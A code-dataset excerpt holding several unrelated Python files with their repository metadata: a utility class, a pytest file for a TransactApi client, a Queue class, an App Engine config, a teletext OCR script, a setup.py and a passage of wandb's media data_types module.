datetime.datetime.strftime(datetime_obj, target_format) @staticmethod def get_timestamp_from_string(time_string, string_format): """ Get timestamp from date/time string :param time_string: date/time string :type time_string: str :param string_format: format of time_string :type string_format: str :return: float -- timestamp """ return datetime.datetime.strptime(time_string, string_format).timestamp() @staticmethod def wait_up_to_second(second, time_template=None): """ Wait up to second then generate time from template :param second: target second (0..59) :type second: int :param time_template: (Optional) time template :type time_template: str :return: None or str -- time from template """ current_second = datetime.datetime.now().second target_second = int(second) if current_second > target_second: sleep_time = 60 - (current_second - target_second) else: sleep_time = target_second - current_second if sleep_time: print('Waiting {} second(s)'.format(sleep_time)) time.sleep(sleep_time) if time_template: return Utils.get_current_time(time_template) @staticmethod def order_list_of_dicts_by_key(list_of_dicts, field_key): """ Order list of dictionaries by key as integer :param list_of_dicts: list of dictionaries :type list_of_dicts: List[dict] :param field_key: key to be ordered by :type field_key: str :return: List[dict] -- ordered list """ return sorted(list_of_dicts, key=lambda item: int(item[field_key])) @staticmethod def concatinate_list_of_dicts_field(list_of_dicts, field_key): """ Concatinate list of dicts field to string :param list_of_dicts: list of dictionaries :type list_of_dicts: List[dict] :param field_key: key of field to be concatinated :type field_key: str :return: str -- concatinated string """ return ''.join([item[field_key] for item in list_of_dicts]) @staticmethod def repeat_string_n_times(string, count): """ Repeat string N times :param string: string to be repeated :type string: str :param count: count :type count: int :return: str -- result string """ return string * int(count)
31.131868
101
0.602277
aad951bf268fec1fadbc38a10c07a7a6e525dcc5
505
py
Python
tests/test_wrapper_instance.py
shadowlion/transact_api
101b05216ddcbf8ee6d4da6db28c3450499177d3
[ "MIT" ]
null
null
null
tests/test_wrapper_instance.py
shadowlion/transact_api
101b05216ddcbf8ee6d4da6db28c3450499177d3
[ "MIT" ]
4
2022-02-08T14:00:38.000Z
2022-03-16T12:14:14.000Z
tests/test_wrapper_instance.py
shadowlion/transact_api
101b05216ddcbf8ee6d4da6db28c3450499177d3
[ "MIT" ]
null
null
null
import pytest from transact_api import TransactApi def test_class_instantiation_no_key(): with pytest.raises(TypeError): TransactApi() def test_class_instantiation_with_keys(): client = TransactApi(client_id="asdf", developer_api_key="qwer") assert isinstance(client, TransactApi) assert client.client_id == "asdf" assert client.developer_api_key == "qwer" assert not client.sandbox assert client.base_url == "https://api.norcapsecurities.com/tapiv3/index.php/v3"
28.055556
84
0.750495
2c45f0377e6d77fa983cef7cad5d0018c89fc638
575
py
Python
Py/datastructures/queue.py
Zotyamester/datastructures
b743e203434138a2a12aa5cc876f59cbb338280d
[ "MIT" ]
null
null
null
Py/datastructures/queue.py
Zotyamester/datastructures
b743e203434138a2a12aa5cc876f59cbb338280d
[ "MIT" ]
null
null
null
Py/datastructures/queue.py
Zotyamester/datastructures
b743e203434138a2a12aa5cc876f59cbb338280d
[ "MIT" ]
null
null
null
class Queue: def __init__(self): self.data = [] def push(self, data): self.data = [data] + self.data def pop(self): self.data.pop(-1) def top(self): self.data[-1] def __len__(self): return len(self.data) def __str__(self): if len(self.data) == 0: return '' s = str(self.data[0]) for i in range(1, len(self.data)): s += ' ' + str(self.data[i]) return s def empty(self): return len(self.data) == 0 def clear(self): self.data.clear()
25
42
0.495652
d9c7b87c13b626d0ed0ea5af5677c3a0ffa0db2d
235
py
Python
appengine_config.py
SalamiArmy/InfoBoet
71df751e50b4b458db44444ef7d6dfe6f68e648f
[ "Apache-2.0" ]
1
2021-07-14T21:48:48.000Z
2021-07-14T21:48:48.000Z
appengine_config.py
SalamiArmy/InfoBoet
71df751e50b4b458db44444ef7d6dfe6f68e648f
[ "Apache-2.0" ]
6
2017-11-27T06:04:34.000Z
2020-02-19T05:15:02.000Z
appengine_config.py
SalamiArmy/InfoBoet
71df751e50b4b458db44444ef7d6dfe6f68e648f
[ "Apache-2.0" ]
2
2017-08-16T20:26:02.000Z
2020-11-10T18:44:11.000Z
from google.appengine.ext import vendor # Add any third-party libraries installed in the "lib" folder. try: vendor.add('lib') except: print('InfoBoet failed to add it\'s third-party libraries folder to app engine\'s vendor.')
29.375
95
0.73617
8f336e51322f2adfd73e2631f1db7c000d646b92
4,448
py
Python
ocr.py
vanatteveldt/teletekst_scraper
f112319ff577cd62818f530696ff737b1e9dcc39
[ "MIT" ]
null
null
null
ocr.py
vanatteveldt/teletekst_scraper
f112319ff577cd62818f530696ff737b1e9dcc39
[ "MIT" ]
null
null
null
ocr.py
vanatteveldt/teletekst_scraper
f112319ff577cd62818f530696ff737b1e9dcc39
[ "MIT" ]
null
null
null
import logging import re import sys from io import StringIO from pathlib import Path from subprocess import check_call, check_output from PIL import Image LETTERPATH = Path.cwd()/"letters" def get_letter_img(img, x, y): return img.crop((6 + x*11, y*22, 6+(x+1)*11, (y+1)*22)).convert("L") def get_headline_img(img, x): return img.crop((6 + x * 11, 22, 6 + (x + 1) * 11, 66)).convert("L") def gocr(letter, h): f = Path("/tmp/{hash}.png") letter.save(f) l = check_output(f"gocr {f}", shell=True).decode("utf-8").strip() if l == "/": l = '⁄' # linux does not like slashes in file names f2 = LETTERPATH/f"letter_{h}__{l}.png" f.rename(f2) return l KNOWN = None def initialize_known(): global KNOWN if KNOWN is not None: return KNOWN = {} for f in LETTERPATH.glob("*.png"): m = re.match(r"letter_(-?\d+)__(.)\.png", f.name) if not m: print(f.name) raise h, letter = m.groups() img = Image.open(f) KNOWN[int(h)] = (letter, img) def compare_images(img1, img2): if img1.size[1] != img2.size[1]: return None return sum((x1-x2)**2 for (x1, x2) in zip(list(img1.getdata()),list(img2.getdata()))) def closest(letter: Image, accept_zero=True): winner, winning_score, winning_hash = None, None, None for hash_, (l, img) in KNOWN.items(): score = compare_images(letter, img) if score is None: continue if (not accept_zero) and (score == 0): continue if winning_score is None or score < winning_score: winner = l winning_score = score winning_hash = hash_ return winner, winning_score, winning_hash def guess(letter: Image, accept_zero=True): winner, winning_score, winning_hash = closest(letter, accept_zero=accept_zero) if winning_score < 90000: return winner if letter.size[1] == 44: # Try resizing img = letter.resize((11, 22)) winner2, winning_score2, _ = closest(img, accept_zero=accept_zero) if winning_score2 < 350000: return winner2 hash_ = hash(tuple(letter.getdata())) logging.warning(f"Bad match: letters/letter_{hash_}__{winner}.png (score: {winning_score}, best match letters/letter_{winning_hash}__{winner}.png, size {letter.size})") return winner # letters/letter_-3616073949698735120__-.png # letters/letter_7901707541910618925__-.png def ocr(letter: Image): initialize_known() h = hash(tuple(letter.getdata())) if h in KNOWN: l, img = KNOWN[h] #logging.info(f"KNOWN: {l} letters/letter_{h}__{l}.png") else: l = guess(letter) fn = LETTERPATH/f"letter_{h}__{l}.png" letter.save(fn) KNOWN[h] = (l, letter) logging.info(f"GUESS: {l} letters/letter_{h}__{l}.png") return l def get_body(img): out = StringIO() width, height = img.size nrows = height // 22 text = [] for y in range(4, nrows): prev = None for x in range(0, 39): i = get_letter_img(img, x, y) l = ocr(i) if prev in (".", ",", ":") and l.isalpha(): out.write(" ") out.write(l) prev=l out.write("\n") txt = out.getvalue() txt = "\n\n".join(re.sub(r"\s+", " ", x).strip() for x in re.split(r"\n\s*\n", txt)) return txt.strip() def get_headline(img): out = StringIO() prev = None for x in range(0, 39): i = get_headline_img(img, x) l = ocr(i) if prev in (".", ",", ":") and l.isalpha(): out.write(" ") out.write(l) prev = l return out.getvalue().strip() def get_text(img_fn: str): img = Image.open(img_fn) headline = get_headline(img) body = get_body(img) return f"{headline}\n\n{body}" if __name__ == '__main__': logging.basicConfig(level=logging.INFO, format='[%(asctime)s %(name)-12s %(levelname)-5s] %(message)s') print(get_text(sys.argv[1])) sys.exit() initialize_known() for f in LETTERPATH.glob("*.png"): image = Image.open(f) if image.size[1] != 44: continue m = re.match(r"letter_(-?\d+)__(.)\.png", f.name) h, letter = m.groups() winner = guess(image) if letter != winner:# and score > 90000: print(letter, winner)
27.974843
172
0.573741
4ad46ff3bce6f4d782cd8155e1d3dd750dc6e7c9
763
py
Python
setup.py
namuyan/rpvm
2137ae4c578287c4cf4edd6b53c32eefc54649d6
[ "MIT" ]
1
2019-07-18T06:56:46.000Z
2019-07-18T06:56:46.000Z
setup.py
namuyan/rpvm
2137ae4c578287c4cf4edd6b53c32eefc54649d6
[ "MIT" ]
null
null
null
setup.py
namuyan/rpvm
2137ae4c578287c4cf4edd6b53c32eefc54649d6
[ "MIT" ]
null
null
null
#!/user/env python3 # -*- coding: utf-8 -*- from setuptools import setup, find_packages try: readme = open('README.md', mode='r').read() except Exception: readme = '' try: install_requires = open('requirements.txt', mode='r').read() except Exception: install_requires = None setup( name="rpvm", version='0.1.0a1', url='https://github.com/namuyan/rpvm', author='namuyan', description='Restricted Python Virtual Machine', long_description=readme, long_description_content_type='text/markdown', packages=find_packages(), install_requires=install_requires, license="MIT Licence", classifiers=[ 'Programming Language :: Python :: 3.6', 'License :: OSI Approved :: MIT License', ], )
23.121212
64
0.656619
81abdf559593ee6a303b493415aae3263255cb0e
89,072
py
Python
wandb/sdk/data_types.py
Qwasser/client
15cc5baea4a6a8cfa3406111a4f6283917bb6e00
[ "MIT" ]
null
null
null
wandb/sdk/data_types.py
Qwasser/client
15cc5baea4a6a8cfa3406111a4f6283917bb6e00
[ "MIT" ]
null
null
null
wandb/sdk/data_types.py
Qwasser/client
15cc5baea4a6a8cfa3406111a4f6283917bb6e00
[ "MIT" ]
null
null
null
import codecs import hashlib import json import logging import numbers import os import re import shutil import sys import six from six.moves.collections_abc import Sequence as SixSequence import wandb from wandb import util from wandb._globals import _datatypes_callback from wandb.compat import tempfile from wandb.util import has_num from .interface import _dtypes if wandb.TYPE_CHECKING: from typing import ( TYPE_CHECKING, ClassVar, Dict, Optional, Type, Union, Sequence, Tuple, Set, Any, List, cast, ) if TYPE_CHECKING: # pragma: no cover from .interface.artifacts import ArtifactEntry from .wandb_artifacts import Artifact as LocalArtifact from .wandb_run import Run as LocalRun from wandb.apis.public import Artifact as PublicArtifact import numpy as np # type: ignore import pandas as pd # type: ignore import matplotlib # type: ignore import plotly # type: ignore import PIL # type: ignore import torch # type: ignore from typing import TextIO TypeMappingType = Dict[str, Type["WBValue"]] NumpyHistogram = Tuple[np.ndarray, np.ndarray] ValToJsonType = Union[ dict, "WBValue", Sequence["WBValue"], "plotly.Figure", "matplotlib.artist.Artist", "pd.DataFrame", object, ] ImageDataType = Union[ "matplotlib.artist.Artist", "PIL.Image", "TorchTensorType", "np.ndarray" ] ImageDataOrPathType = Union[str, "Image", ImageDataType] TorchTensorType = Union["torch.Tensor", "torch.Variable"] _MEDIA_TMP = tempfile.TemporaryDirectory("wandb-media") _DATA_FRAMES_SUBDIR = os.path.join("media", "data_frames") def _safe_sdk_import() -> Tuple[Type["LocalRun"], Type["LocalArtifact"]]: """Safely import due to circular deps""" from .wandb_artifacts import Artifact as LocalArtifact from .wandb_run import Run as LocalRun return LocalRun, LocalArtifact class _WBValueArtifactSource(object): artifact: "PublicArtifact" name: Optional[str] def __init__(self, artifact: "PublicArtifact", name: Optional[str] = None) -> None: self.artifact = artifact self.name = name class _WBValueArtifactTarget(object): artifact: "LocalArtifact" name: Optional[str] def __init__(self, artifact: "LocalArtifact", name: Optional[str] = None) -> None: self.artifact = artifact self.name = name class WBValue(object): """ Abstract parent class for things that can be logged by `wandb.log()` and visualized by wandb. The objects will be serialized as JSON and always have a _type attribute that indicates how to interpret the other fields. """ # Class Attributes _type_mapping: ClassVar[Optional["TypeMappingType"]] = None # override _log_type to indicate the type which the subclass deserializes _log_type: ClassVar[Optional[str]] = None # Instance Attributes _artifact_source: Optional[_WBValueArtifactSource] _artifact_target: Optional[_WBValueArtifactTarget] def __init__(self) -> None: self._artifact_source = None self._artifact_target = None def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: """Serializes the object into a JSON blob, using a run or artifact to store additional data. Args: run_or_artifact (wandb.Run | wandb.Artifact): the Run or Artifact for which this object should be generating JSON for - this is useful to to store additional data if needed. Returns: dict: JSON representation """ raise NotImplementedError @classmethod def from_json( cls: Type["WBValue"], json_obj: dict, source_artifact: "PublicArtifact" ) -> "WBValue": """Deserialize a `json_obj` into it's class representation. If additional resources were stored in the `run_or_artifact` artifact during the `to_json` call, then those resources are expected to be in the `source_artifact`. Args: json_obj (dict): A JSON dictionary to deserialize source_artifact (wandb.Artifact): An artifact which will hold any additional resources which were stored during the `to_json` function. """ raise NotImplementedError @classmethod def with_suffix(cls: Type["WBValue"], name: str, filetype: str = "json") -> str: """Helper function to return the name with suffix added if not already Args: name (str): the name of the file filetype (str, optional): the filetype to use. Defaults to "json". Returns: str: a filename which is suffixed with it's `_log_type` followed by the filetype """ if cls._log_type is not None: suffix = cls._log_type + "." + filetype else: suffix = filetype if not name.endswith(suffix): return name + "." + suffix return name @staticmethod def init_from_json( json_obj: dict, source_artifact: "PublicArtifact" ) -> "Optional[WBValue]": """Looks through all subclasses and tries to match the json obj with the class which created it. It will then call that subclass' `from_json` method. Importantly, this function will set the return object's `source_artifact` attribute to the passed in source artifact. This is critical for artifact bookkeeping. If you choose to create a wandb.Value via it's `from_json` method, make sure to properly set this `artifact_source` to avoid data duplication. Args: json_obj (dict): A JSON dictionary to deserialize. It must contain a `_type` key. The value of this key is used to lookup the correct subclass to use. source_artifact (wandb.Artifact): An artifact which will hold any additional resources which were stored during the `to_json` function. Returns: wandb.Value: a newly created instance of a subclass of wandb.Value """ class_option = WBValue.type_mapping().get(json_obj["_type"]) if class_option is not None: obj = class_option.from_json(json_obj, source_artifact) obj._set_artifact_source(source_artifact) return obj return None @staticmethod def type_mapping() -> "TypeMappingType": """Returns a map from `_log_type` to subclass. Used to lookup correct types for deserialization. Returns: dict: dictionary of str:class """ if WBValue._type_mapping is None: WBValue._type_mapping = {} frontier = [WBValue] explored = set([]) while len(frontier) > 0: class_option = frontier.pop() explored.add(class_option) if class_option._log_type is not None: WBValue._type_mapping[class_option._log_type] = class_option for subclass in class_option.__subclasses__(): if subclass not in explored: frontier.append(subclass) return WBValue._type_mapping def __eq__(self, other: object) -> bool: return id(self) == id(other) def __ne__(self, other: object) -> bool: return not self.__eq__(other) def to_data_array(self) -> List[Any]: """Converts the object to a list of primitives representing the underlying data""" raise NotImplementedError def _set_artifact_source( self, artifact: "PublicArtifact", name: Optional[str] = None ) -> None: assert ( self._artifact_source is None ), "Cannot update artifact_source. Existing source: {}/{}".format( self._artifact_source.artifact, self._artifact_source.name ) self._artifact_source = _WBValueArtifactSource(artifact, name) def _set_artifact_target( self, artifact: "LocalArtifact", name: Optional[str] = None ) -> None: assert ( self._artifact_target is None ), "Cannot update artifact_target. Existing target: {}/{}".format( self._artifact_target.artifact, self._artifact_target.name ) self._artifact_target = _WBValueArtifactTarget(artifact, name) def _get_artifact_reference_entry(self) -> Optional["ArtifactEntry"]: ref_entry = None # If the object is coming from another artifact if self._artifact_source and self._artifact_source.name: ref_entry = self._artifact_source.artifact.get_path( type(self).with_suffix(self._artifact_source.name) ) # Else, if the object is destined for another artifact elif ( self._artifact_target and self._artifact_target.name and self._artifact_target.artifact._logged_artifact is not None ): # Currently, we do not have a way to obtain a reference URL without waiting for the # upstream artifact to be logged. This implies that this only works online as well. self._artifact_target.artifact.wait() ref_entry = self._artifact_target.artifact.get_path( type(self).with_suffix(self._artifact_target.name) ) return ref_entry class Histogram(WBValue): """wandb class for histograms. This object works just like numpy's histogram function https://docs.scipy.org/doc/numpy/reference/generated/numpy.histogram.html Examples: Generate histogram from a sequence ```python wandb.Histogram([1,2,3]) ``` Efficiently initialize from np.histogram. ```python hist = np.histogram(data) wandb.Histogram(np_histogram=hist) ``` Arguments: sequence: (array_like) input data for histogram np_histogram: (numpy histogram) alternative input of a precoomputed histogram num_bins: (int) Number of bins for the histogram. The default number of bins is 64. The maximum number of bins is 512 Attributes: bins: ([float]) edges of bins histogram: ([int]) number of elements falling in each bin """ MAX_LENGTH: int = 512 _log_type = "histogram" def __init__( self, sequence: Optional[Sequence] = None, np_histogram: Optional["NumpyHistogram"] = None, num_bins: int = 64, ) -> None: if np_histogram: if len(np_histogram) == 2: self.histogram = ( np_histogram[0].tolist() if hasattr(np_histogram[0], "tolist") else np_histogram[0] ) self.bins = ( np_histogram[1].tolist() if hasattr(np_histogram[1], "tolist") else np_histogram[1] ) else: raise ValueError( "Expected np_histogram to be a tuple of (values, bin_edges) or sequence to be specified" ) else: np = util.get_module( "numpy", required="Auto creation of histograms requires numpy" ) self.histogram, self.bins = np.histogram(sequence, bins=num_bins) self.histogram = self.histogram.tolist() self.bins = self.bins.tolist() if len(self.histogram) > self.MAX_LENGTH: raise ValueError( "The maximum length of a histogram is %i" % self.MAX_LENGTH ) if len(self.histogram) + 1 != len(self.bins): raise ValueError("len(bins) must be len(histogram) + 1") def to_json(self, run: Union["LocalRun", "LocalArtifact"] = None) -> dict: return {"_type": self._log_type, "values": self.histogram, "bins": self.bins} def __sizeof__(self) -> int: """This returns an estimated size in bytes, currently the factor of 1.7 is used to account for the JSON encoding. We use this in tb_watcher.TBHistory """ return int((sys.getsizeof(self.histogram) + sys.getsizeof(self.bins)) * 1.7) class Media(WBValue): """A WBValue that we store as a file outside JSON and show in a media panel on the front end. If necessary, we move or copy the file into the Run's media directory so that it gets uploaded. """ _path: Optional[str] _run: Optional["LocalRun"] _caption: Optional[str] _is_tmp: Optional[bool] _extension: Optional[str] _sha256: Optional[str] _size: Optional[int] def __init__(self, caption: Optional[str] = None) -> None: super(Media, self).__init__() self._path = None # The run under which this object is bound, if any. self._run = None self._caption = caption def _set_file( self, path: str, is_tmp: bool = False, extension: Optional[str] = None ) -> None: self._path = path self._is_tmp = is_tmp self._extension = extension if extension is not None and not path.endswith(extension): raise ValueError( 'Media file extension "{}" must occur at the end of path "{}".'.format( extension, path ) ) with open(self._path, "rb") as f: self._sha256 = hashlib.sha256(f.read()).hexdigest() self._size = os.path.getsize(self._path) @classmethod def get_media_subdir(cls: Type["Media"]) -> str: raise NotImplementedError @staticmethod def captions( media_items: Sequence["Media"], ) -> Union[bool, Sequence[Optional[str]]]: if media_items[0]._caption is not None: return [m._caption for m in media_items] else: return False def is_bound(self) -> bool: return self._run is not None def file_is_set(self) -> bool: return self._path is not None and self._sha256 is not None def bind_to_run( self, run: "LocalRun", key: Union[int, str], step: Union[int, str], id_: Optional[Union[int, str]] = None, ) -> None: """Bind this object to a particular Run. Calling this function is necessary so that we have somewhere specific to put the file associated with this object, from which other Runs can refer to it. """ if not self.file_is_set(): raise AssertionError("bind_to_run called before _set_file") # The following two assertions are guaranteed to pass # by definition file_is_set, but are needed for # mypy to understand that these are strings below. assert isinstance(self._path, six.string_types) assert isinstance(self._sha256, six.string_types) if run is None: raise TypeError('Argument "run" must not be None.') self._run = run # Following assertion required for mypy assert self._run is not None if self._extension is None: _, extension = os.path.splitext(os.path.basename(self._path)) else: extension = self._extension if id_ is None: id_ = self._sha256[:8] file_path = _wb_filename(key, step, id_, extension) media_path = os.path.join(self.get_media_subdir(), file_path) new_path = os.path.join(self._run.dir, media_path) util.mkdir_exists_ok(os.path.dirname(new_path)) if self._is_tmp: shutil.move(self._path, new_path) self._path = new_path self._is_tmp = False _datatypes_callback(media_path) else: shutil.copy(self._path, new_path) self._path = new_path _datatypes_callback(media_path) def to_json(self, run: Union["LocalRun", "LocalArtifact"]) -> dict: """Serializes the object into a JSON blob, using a run or artifact to store additional data. If `run_or_artifact` is a wandb.Run then `self.bind_to_run()` must have been previously been called. Args: run_or_artifact (wandb.Run | wandb.Artifact): the Run or Artifact for which this object should be generating JSON for - this is useful to to store additional data if needed. Returns: dict: JSON representation """ # NOTE: uses of Audio in this class are a temporary hack -- when Ref support moves up # into Media itself we should get rid of them from wandb.data_types import Audio json_obj = {} run_class, artifact_class = _safe_sdk_import() if isinstance(run, run_class): if not self.is_bound(): raise RuntimeError( "Value of type {} must be bound to a run with bind_to_run() before being serialized to JSON.".format( type(self).__name__ ) ) assert ( self._run is run ), "We don't support referring to media files across runs." # The following two assertions are guaranteed to pass # by definition is_bound, but are needed for # mypy to understand that these are strings below. assert isinstance(self._path, six.string_types) json_obj.update( { "_type": "file", # TODO(adrian): This isn't (yet) a real media type we support on the frontend. "path": util.to_forward_slash_path( os.path.relpath(self._path, self._run.dir) ), "sha256": self._sha256, "size": self._size, } ) artifact_entry = self._get_artifact_reference_entry() if artifact_entry is not None: json_obj["artifact_path"] = artifact_entry.ref_url() elif isinstance(run, artifact_class): if self.file_is_set(): # The following two assertions are guaranteed to pass # by definition of the call above, but are needed for # mypy to understand that these are strings below. assert isinstance(self._path, six.string_types) assert isinstance(self._sha256, six.string_types) artifact = run # Checks if the concrete image has already been added to this artifact name = artifact.get_added_local_path_name(self._path) if name is None: if self._is_tmp: name = os.path.join( self.get_media_subdir(), os.path.basename(self._path) ) else: # If the files is not temporary, include the first 8 characters of the file's SHA256 to # avoid name collisions. This way, if there are two images `dir1/img.png` and `dir2/img.png` # we end up with a unique path for each. name = os.path.join( self.get_media_subdir(), self._sha256[:8], os.path.basename(self._path), ) # if not, check to see if there is a source artifact for this object if ( self._artifact_source is not None # and self._artifact_source.artifact != artifact ): default_root = self._artifact_source.artifact._default_root() # if there is, get the name of the entry (this might make sense to move to a helper off artifact) if self._path.startswith(default_root): name = self._path[len(default_root) :] name = name.lstrip(os.sep) # Add this image as a reference path = self._artifact_source.artifact.get_path(name) artifact.add_reference(path.ref_url(), name=name) elif isinstance(self, Audio) and Audio.path_is_reference( self._path ): artifact.add_reference(self._path, name=name) else: entry = artifact.add_file( self._path, name=name, is_tmp=self._is_tmp ) name = entry.path json_obj["path"] = name json_obj["_type"] = self._log_type return json_obj @classmethod def from_json( cls: Type["Media"], json_obj: dict, source_artifact: "PublicArtifact" ) -> "Media": """Likely will need to override for any more complicated media objects""" return cls(source_artifact.get_path(json_obj["path"]).download()) def __eq__(self, other: object) -> bool: """Likely will need to override for any more complicated media objects""" return ( isinstance(other, self.__class__) and hasattr(self, "_sha256") and hasattr(other, "_sha256") and self._sha256 == other._sha256 ) class BatchableMedia(Media): """Parent class for Media we treat specially in batches, like images and thumbnails. Apart from images, we just use these batches to help organize files by name in the media directory. """ def __init__(self) -> None: super(BatchableMedia, self).__init__() @classmethod def seq_to_json( cls: Type["BatchableMedia"], seq: Sequence["BatchableMedia"], run: "LocalRun", key: str, step: Union[int, str], ) -> dict: raise NotImplementedError class Object3D(BatchableMedia): """ Wandb class for 3D point clouds. Arguments: data_or_path: (numpy array, string, io) Object3D can be initialized from a file or a numpy array. The file types supported are obj, gltf, babylon, stl. You can pass a path to a file or an io object and a file_type which must be one of `'obj', 'gltf', 'babylon', 'stl'`. The shape of the numpy array must be one of either: ```python [[x y z], ...] nx3 [x y z c], ...] nx4 where c is a category with supported range [1, 14] [x y z r g b], ...] nx4 where is rgb is color ``` """ SUPPORTED_TYPES: ClassVar[Set[str]] = set( ["obj", "gltf", "glb", "babylon", "stl", "pts.json"] ) _log_type: ClassVar[str] = "object3D-file" def __init__( self, data_or_path: Union["np.ndarray", str, "TextIO"], **kwargs: str ) -> None: super(Object3D, self).__init__() if hasattr(data_or_path, "name"): # if the file has a path, we just detect the type and copy it from there data_or_path = data_or_path.name # type: ignore if hasattr(data_or_path, "read"): if hasattr(data_or_path, "seek"): data_or_path.seek(0) # type: ignore object_3d = data_or_path.read() # type: ignore extension = kwargs.pop("file_type", None) if extension is None: raise ValueError( "Must pass file type keyword argument when using io objects." ) if extension not in Object3D.SUPPORTED_TYPES: raise ValueError( "Object 3D only supports numpy arrays or files of the type: " + ", ".join(Object3D.SUPPORTED_TYPES) ) tmp_path = os.path.join( _MEDIA_TMP.name, util.generate_id() + "." + extension ) with open(tmp_path, "w") as f: f.write(object_3d) self._set_file(tmp_path, is_tmp=True) elif isinstance(data_or_path, six.string_types): path = data_or_path extension = None for supported_type in Object3D.SUPPORTED_TYPES: if path.endswith(supported_type): extension = supported_type break if not extension: raise ValueError( "File '" + path + "' is not compatible with Object3D: supported types are: " + ", ".join(Object3D.SUPPORTED_TYPES) ) self._set_file(data_or_path, is_tmp=False) # Supported different types and scene for 3D scenes elif isinstance(data_or_path, dict) and "type" in data_or_path: if data_or_path["type"] == "lidar/beta": data = { "type": data_or_path["type"], "vectors": data_or_path["vectors"].tolist() if "vectors" in data_or_path else [], "points": data_or_path["points"].tolist() if "points" in data_or_path else [], "boxes": data_or_path["boxes"].tolist() if "boxes" in data_or_path else [], } else: raise ValueError( "Type not supported, only 'lidar/beta' is currently supported" ) tmp_path = os.path.join(_MEDIA_TMP.name, util.generate_id() + ".pts.json") json.dump( data, codecs.open(tmp_path, "w", encoding="utf-8"), separators=(",", ":"), sort_keys=True, indent=4, ) self._set_file(tmp_path, is_tmp=True, extension=".pts.json") elif _is_numpy_array(data_or_path): np_data = data_or_path # The following assertion is required for numpy to trust that # np_data is numpy array. The reason it is behind a False # guard is to ensure that this line does not run at runtime, # which would cause a runtime error if the user's machine did # not have numpy installed. if wandb.TYPE_CHECKING and TYPE_CHECKING: assert isinstance(np_data, np.ndarray) if len(np_data.shape) != 2 or np_data.shape[1] not in {3, 4, 6}: raise ValueError( """The shape of the numpy array must be one of either [[x y z], ...] nx3 [x y z c], ...] nx4 where c is a category with supported range [1, 14] [x y z r g b], ...] nx4 where is rgb is color""" ) list_data = np_data.tolist() tmp_path = os.path.join(_MEDIA_TMP.name, util.generate_id() + ".pts.json") json.dump( list_data, codecs.open(tmp_path, "w", encoding="utf-8"), separators=(",", ":"), sort_keys=True, indent=4, ) self._set_file(tmp_path, is_tmp=True, extension=".pts.json") else: raise ValueError("data must be a numpy array, dict or a file object") @classmethod def get_media_subdir(cls: Type["Object3D"]) -> str: return os.path.join("media", "object3D") def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(Object3D, self).to_json(run_or_artifact) json_dict["_type"] = Object3D._log_type _, artifact_class = _safe_sdk_import() if isinstance(run_or_artifact, artifact_class): if self._path is None or not self._path.endswith(".pts.json"): raise ValueError( "Non-point cloud 3D objects are not yet supported with Artifacts" ) return json_dict @classmethod def seq_to_json( cls: Type["Object3D"], seq: Sequence["BatchableMedia"], run: "LocalRun", key: str, step: Union[int, str], ) -> dict: seq = list(seq) jsons = [obj.to_json(run) for obj in seq] for obj in jsons: expected = util.to_forward_slash_path(cls.get_media_subdir()) if not obj["path"].startswith(expected): raise ValueError( "Files in an array of Object3D's must be in the {} directory, not {}".format( expected, obj["path"] ) ) return { "_type": "object3D", "filenames": [ os.path.relpath(j["path"], cls.get_media_subdir()) for j in jsons ], "count": len(jsons), "objects": jsons, } class Molecule(BatchableMedia): """ Wandb class for Molecular data Arguments: data_or_path: (string, io) Molecule can be initialized from a file name or an io object. """ SUPPORTED_TYPES = set( ["pdb", "pqr", "mmcif", "mcif", "cif", "sdf", "sd", "gro", "mol2", "mmtf"] ) _log_type = "molecule-file" def __init__(self, data_or_path: Union[str, "TextIO"], **kwargs: str) -> None: super(Molecule, self).__init__() if hasattr(data_or_path, "name"): # if the file has a path, we just detect the type and copy it from there data_or_path = data_or_path.name # type: ignore if hasattr(data_or_path, "read"): if hasattr(data_or_path, "seek"): data_or_path.seek(0) # type: ignore molecule = data_or_path.read() # type: ignore extension = kwargs.pop("file_type", None) if extension is None: raise ValueError( "Must pass file type keyword argument when using io objects." ) if extension not in Molecule.SUPPORTED_TYPES: raise ValueError( "Molecule 3D only supports files of the type: " + ", ".join(Molecule.SUPPORTED_TYPES) ) tmp_path = os.path.join( _MEDIA_TMP.name, util.generate_id() + "." + extension ) with open(tmp_path, "w") as f: f.write(molecule) self._set_file(tmp_path, is_tmp=True) elif isinstance(data_or_path, six.string_types): extension = os.path.splitext(data_or_path)[1][1:] if extension not in Molecule.SUPPORTED_TYPES: raise ValueError( "Molecule only supports files of the type: " + ", ".join(Molecule.SUPPORTED_TYPES) ) self._set_file(data_or_path, is_tmp=False) else: raise ValueError("Data must be file name or a file object") @classmethod def get_media_subdir(cls: Type["Molecule"]) -> str: return os.path.join("media", "molecule") def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(Molecule, self).to_json(run_or_artifact) json_dict["_type"] = self._log_type if self._caption: json_dict["caption"] = self._caption return json_dict @classmethod def seq_to_json( cls: Type["Molecule"], seq: Sequence["BatchableMedia"], run: "LocalRun", key: str, step: Union[int, str], ) -> dict: seq = list(seq) jsons = [obj.to_json(run) for obj in seq] for obj in jsons: expected = util.to_forward_slash_path(cls.get_media_subdir()) if not obj["path"].startswith(expected): raise ValueError( "Files in an array of Molecule's must be in the {} directory, not {}".format( cls.get_media_subdir(), obj["path"] ) ) return { "_type": "molecule", "filenames": [obj["path"] for obj in jsons], "count": len(jsons), "captions": Media.captions(seq), } class Html(BatchableMedia): """ Wandb class for arbitrary html Arguments: data: (string or io object) HTML to display in wandb inject: (boolean) Add a stylesheet to the HTML object. If set to False the HTML will pass through unchanged. """ _log_type = "html-file" def __init__(self, data: Union[str, "TextIO"], inject: bool = True) -> None: super(Html, self).__init__() data_is_path = isinstance(data, six.string_types) and os.path.exists(data) data_path = "" if data_is_path: assert isinstance(data, six.string_types) data_path = data with open(data_path, "r") as file: self.html = file.read() elif isinstance(data, six.string_types): self.html = data elif hasattr(data, "read"): if hasattr(data, "seek"): data.seek(0) self.html = data.read() else: raise ValueError("data must be a string or an io object") if inject: self.inject_head() if inject or not data_is_path: tmp_path = os.path.join(_MEDIA_TMP.name, util.generate_id() + ".html") with open(tmp_path, "w") as out: out.write(self.html) self._set_file(tmp_path, is_tmp=True) else: self._set_file(data_path, is_tmp=False) def inject_head(self) -> None: join = "" if "<head>" in self.html: parts = self.html.split("<head>", 1) parts[0] = parts[0] + "<head>" elif "<html>" in self.html: parts = self.html.split("<html>", 1) parts[0] = parts[0] + "<html><head>" 